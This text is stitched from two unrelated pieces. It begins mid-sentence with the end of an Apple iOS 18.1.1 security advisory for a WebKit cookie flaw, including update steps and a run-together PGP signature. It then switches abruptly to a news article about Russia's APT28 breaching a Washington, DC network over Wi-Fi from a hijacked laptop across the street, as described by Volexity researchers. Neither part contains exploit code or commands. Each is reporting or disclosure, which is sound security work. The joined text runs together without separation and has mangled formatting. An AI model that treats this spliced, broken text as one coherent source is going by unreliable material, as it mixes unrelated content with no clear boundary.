Mac systems.Description: A cookie management issue was addressed with improved statemanagement.WebKit Bugzilla: 283095CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/iTunes and Software Update on the device will automatically checkApple's update server on its weekly schedule. When an update isdetected, it is downloaded and the option to be installed ispresented to the user when the iOS device is docked. We recommendapplying the update immediately if possible. SelectingDon't Install will present the option the next time you connectyour iOS device.The automatic update process may take up to a week depending onthe day that iTunes or the device checks for updates. You maymanually obtain the update via the Check for Updates buttonwithin iTunes, or the Software Update on your device.To check that the iPhone, iPod touch, or iPad has been updated:* Navigate to Settings* Select General* Select About. The version after applying this update will be"iOS 18.1.1 and iPadOS 18.1.1".All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/100100.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JA8ACgkQX+5d1TXaIvrGzw/+PXf2fGgzCN5of6OYK0sWiJRRLZoL0uSZ9dOaD7I0/CyAx91Mv4OyH9Vveo9k84ZABNk4IO401WWLM8XSRSVILTcskT+SdXZrtOMYvmtUHUPKI35OWf1GBFdkgfnnFSRYf/B+WWb4PV0iO01lyFQVU5qDLcrUCAUQLwighfAX2yEn+Zml3NX6i2E5o2Rhc93Nac5a2cIcOGOSKrwsor0sh8NkAl9DcyPW6i6K3t59lUjiUY9XZQtEi6AyrChA84mo6Hb8wLwVIY17b8LVuruOSn3xg+Cc5eO5bOXp1O5lnR3dhuiZ2bl5BKawrp8+MDRsBZuTPS0k2Di3rmzuZ/GnvaQdtQKhcbOQ7tWW6evk/8TnFwlULaCr26OVbuLj0NWJ7GJYWpPuRWO0lFy9z9Fjdk4n+ptA7qmSWrhbdl+/uwUxJA5X58pVRWeWBExGP3S/ST/5YgAfZXBjHuDLiHKMOtQ3PktaMuEWhLFgGXNllXGQDihL4lS/XUQ1/E+mpWyY+kAbjtmCYlpez5MgeLkVv66yEWhOhsBMNIM+jkkRjktJo2SfhJMSryNLQlY37zn/VWf8Av+L60YoZhoMmx7DJLIr+HI257zbIE35CVZ+badn18d3eA+fq3RPtsDD8nlUePyZeNhEvc30Y5hXsIyK+Z0Ny+JgJfP1E6BeAJjjci0==ifwz-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-3

In a first, Russia's APT28 hacking group appears to have remotely breached the Wi-Fi of an espionage target by hijacking a laptop in another building across the street.

For determined hackers, sitting in a car outside a target's building and using radio equipment to breach its Wi-Fi network has long been an effective but risky technique. These risks became all too clear when spies working for Russia's GRU military intelligence agency were caught red-handed on a city street in the Netherlands in 2018 using an antenna hidden in their car's trunk to try to hack into the Wi-Fi of the Organization for the Prohibition of Chemical Weapons.

Since that incident, however, that same unit of Russian military hackers appears to have developed a new and far safer Wi-Fi hacking technique: Instead of venturing into radio range of their target, they found another vulnerable network in a building across the street, remotely hacked into a laptop in that neighboring building, and used that computer's antenna to break into the Wi-Fi network of their intended victim—a radio-hacking trick that never even required leaving Russian soil.

At the Cyberwarcon security conference in Arlington, Virginia, today, cybersecurity researcher Steven Adair will reveal how his firm, Volexity, discovered that unprecedented Wi-Fi hacking technique—what the firm is calling a “nearest neighbor attack"—while investigating a network breach targeting a customer in Washington, DC, in 2022. Volexity, which declined to name its DC customer, has since tied the breach to the Russian hacker group known as Fancy Bear, APT28, or Unit 26165. Part of Russia's GRU military intelligence agency, the group has been involved in notorious cases ranging from the breach of the Democratic National Committee in 2016 to the botched Wi-Fi hacking operation in which four of its members were arrested in the Netherlands in 2018.

In this newly revealed case from early 2022, Volexity ultimately discovered not only that the Russian hackers had jumped to the target network via Wi-Fi from a different compromised network across the street, but also that this prior breach had _also_ potentially been carried out over Wi-Fi from yet another network in the same building—a kind of “daisy-chaining” of network breaches via Wi-Fi, as Adair describes it.

“This is the first case we’ve worked where you have an attacker that’s extremely far away and essentially broke into other organizations in the US in physical proximity to the intended target, then pivoted over Wi-Fi to get into the target network across the street,” says Adair. “That’s a really interesting attack vector that we haven’t seen before.”

A slide describing the “nearest neighbor attack” that Russian hackers used to breach a DC network via Wi-Fi, from the Cyberwarcon presentation of Volexity founder Steven Adair.

Illustration: Volexity

Based on the hackers' targeting of individuals within their customer's network, Adair says that the GRU hackers appear to have been seeking intelligence about Ukraine. It's no coincidence, he says, that the daisy-chained Wi-Fi-based intrusion was carried out in the months just before and after Russia's initial full-scale invasion of Ukraine in February 2022.

Adair argues, though, that the case should serve as a broader warning about cybersecurity threats to Wi-Fi for high-value targets—and not just from the usual suspects loitering in the parking lot or the lobby. “Now we know that a motivated nation-state is doing this and has done it,” says Adair, “It puts on the radar that Wi-Fi security has to be ramped up a good bit.” He suggests organizations that might be the target of similar remote Wi-Fi attacks consider limiting the range of their Wi-Fi, changing the network's name to make it less obvious to potential intruders, or introducing other authentication security measures to limit access to employees.

Adair says that Volexity first began investigating the breach of its DC customer's network in the first months of 2022, when the company saw signs of repeated intrusions into the customer's systems by hackers who had carefully covered their tracks. Volexity's analysts eventually traced the compromise to a hijacked user's account connecting to a Wi-Fi access point in a far end of the building, in a conference room with external-facing windows. Adair says he personally scoured the area looking for the source of that connection. “I went there to physically run down what it could be. We looked at smart TVs, looked for devices in closets. Is someone in the parking lot? Is it a printer?” he says. “We came up dry.”

Only after the next intrusion, when Volexity managed to get more complete logs of the hackers' traffic, did its analysts solve the mystery: The company found that the hijacked machine which the hackers were using to dig around in its customer's systems was leaking the name of the domain on which it was hosted—in fact, the name of another organization just across the road. “At that point, it was 100 percent clear where it was coming from,” Adair says. “It's not a car in the street. It's the building next door.”

With the cooperation of that neighbor, Volexity investigated that second organization's network and found that a certain laptop was the source of the street-jumping Wi-Fi intrusion. The hackers had penetrated that device, which was plugged into a dock connected to the local network via Ethernet, and then switched on its Wi-Fi, allowing it to act as a radio-based relay into the target network. Volexity found that, to break into that target's Wi-Fi, the hackers had used credentials they'd somehow obtained online but had apparently been unable to exploit elsewhere, likely due to two-factor authentication.

Volexity eventually tracked the hackers on that second network to two possible points of intrusion. The hackers appeared to have compromised a VPN appliance owned by the other organization. But they had also broken into the organization's Wi-Fi from _another_ network's devices in the same building, suggesting that the hackers may have daisy-chained as many as three networks via Wi-Fi to reach their final target. “Who knows how many devices or networks they compromised and were doing this on,” says Adair.

In fact, even after Volexity evicted the hackers from their customer's network, the hackers tried again that spring to break in via Wi-Fi, this time attempting to access resources that were shared on the guest Wi-Fi network. “These guys were super persistent,” says Adair. He says that Volexity was able to detect this next breach attempt, however, and quickly lock out the intruders.

Volexity had presumed early on in its investigation that the hackers were Russian in origin due to their targeting of individual staffers at the customer organization focused on Ukraine. Then in April, fully two years after the original intrusion, Microsoft warned of a vulnerability in Windows' print spooler that had been used by Russia's APT28 hacker group—Microsoft refers to the group as Forest Blizzard—to gain administrative privileges on target machines. Remnants left behind on the very first computer Volexity had analyzed in the Wi-Fi-based breach of its customer exactly matched that technique. “It was an exact one-to-one match,” Adair says.

The notion that APT28 would be behind the daisy-chained Wi-Fi hacking makes sense, says John Hultquist, the founder of Cyberwarcon who also leads threat intelligence at Google-owned cybersecurity firm Mandiant and has long tracked the GRU hackers. He sees the technique Volexity uncovered as the natural evolution of APT28's “close-access” hacking methods, in which the GRU has sent small traveling teams in person to hack into target networks via Wi-Fi if other methods failed.

“This is essentially a close-access op like they’ve done in the past, but without the close access,” Hultquist says.

The switch to hacking via Wi-Fi from a remotely compromised device rather than physically placing a spy nearby represents a logical next step following the GRU's operational security disaster in 2018, when its hackers were caught in a car in The Hague attempting to hack the Organization for the Prohibition of Chemical Weapons in response to the OPCW's investigation of the attempted assassination of GRU defector Sergei Skripal. In that incident, the APT28 team was arrested and their devices were seized, revealing their travel around the world from Brazil to Malaysia to carry out similar close-access attacks.

“If a target is important enough, they’re willing to send people in person. But you don’t have to do that if you can come up with an alternative like what we’re seeing here,” Hultquist says. “This is potentially a major improvement for those operations, and it’s something we’ll probably see more of—if we haven’t already.”

Tag

#google